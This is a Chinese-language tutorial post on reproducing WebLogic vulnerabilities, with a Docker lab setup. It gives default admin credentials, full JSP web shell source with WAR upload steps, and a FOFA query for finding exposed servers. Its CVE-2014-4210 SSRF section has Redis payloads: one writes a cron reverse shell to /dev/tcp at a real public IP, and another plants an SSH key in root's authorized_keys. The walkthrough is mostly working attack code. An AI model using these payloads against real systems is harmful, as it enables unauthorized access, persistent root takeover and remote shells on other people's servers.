漏洞复现 - - - Weblogic漏洞(一)

2022-11-19 14:29:39 浏览数 (1)

目录

一,Weblogic简介

二,Weblogic漏洞环境搭建

 三,Weblogic弱口令

 四,CVE-2014-4210

漏洞环境

漏洞危害

漏洞复现

进行内网存活探测

一,Weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。 WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

二,Weblogic漏洞环境搭建

docker pull vulhub/weblogic:10.3.6.0-2017

docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017

访问:http://kali IP://7001/console

 三,Weblogic弱口令

Weblogic 存在 默认口令漏洞:

可通过 https://cirt.net/passwords?criteria=weblogic 网站进行查询Weblogic弱口令最终可以得到管理员密码。

账号: weblogic 密码: Oracle@123

 有了管理员账户我们就要想办法上传一个war包,下面是一个jsp格式(主要此jsp不可用蚁剑连接,可以自己用蚁剑生成一个war包,然后安装下列步骤上传)

代码语言:javascript复制
<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
while((s = sI.readLine()) != null) { output  = s  "rn"; } } 
catch(IOException e) { e.printStackTrace(); } } 
out.println(output);%>

对jsp进行war包打包

jar -cvf cmd.war cmd.jsp

 下面开始教大家在哪上传war包,如图所示

 点击浏览上传war包,点击下一步

 如同就是war包的路径

 访问如下路径可以获得getshell

 http://kali IP://7001/cmd/cmd.jsp?cmd=ls

 查看cmd就可以看到文件路径

 四,CVE-2014-4210

漏洞环境

FOFA搜app="Weblogic_interface_7001"

漏洞危害

Weblogic 漏洞生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中,可以导致

SSRF ,用来攻击内网中一些 redis 和 fastcgi 之类的脆弱组件

漏洞复现

http://your-IP:7001/uddiexplorer/SearchPublicRegistries.jsp

进行内网存活探测

http://your-IP:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name

 使用max hackber,发送post请求

&txtSearchname=sdf &txtSearchkey= &txtSearchfor= &selfor=Business location &btnSubmit=Search &operator=http://your-IP:9090

当 http 端口存活的时候就会显示 404 not found

尝试一个不存活的主机就是 No route to host

 探测6379端口

SSRF攻击内网Redis

写定时任务

代码语言:javascript复制
/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://172.18.0.1:6379/test

set x "nnnn*/1 * * * * /bin/bash -i >& /dev/tcp/47.101.214.85/1234 0>&1nnnn"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

aaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search

写SSH公钥

代码语言:javascript复制
/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://172.18.0.1:6379/test

set xx "nnnnsshrsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV14i/SITCBQjzb+8xL0vwGwKjnMEQiarTxdVokFToK0Xw99m0eJwKV3WcTQgSykHA2rFxbQw/v9IVx89bAzX0iOBAU8jF+9oH5KE9KBzM/T1Vr3DDwmNny2qYCfizO9jJ90fr3DUeXWwl+D24XiKfkDzlDly9LgEYxXl/CIgZ91QcTA0UeSBLXCgigVLKhDNZGGBqMFrGNUsj0esNJr7pJsYEnIn+N5BtnUWEce1KERlGDiwvzRpyFvOKgQpEAiS+R781GSsAsJsCQz8OFge6lx0iSMNZ6TWjkQYKlnTkQvzOo/ZhINtItYziRXJKmNQLdPpQ7OYo2WOQ4TIDFtR5 root@iZuf6jc5pa52ijq06q5f1lZnnnn"
config set dir /root/.ssh
config set dbfilename authorized_keys
save

aaa&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

0 人点赞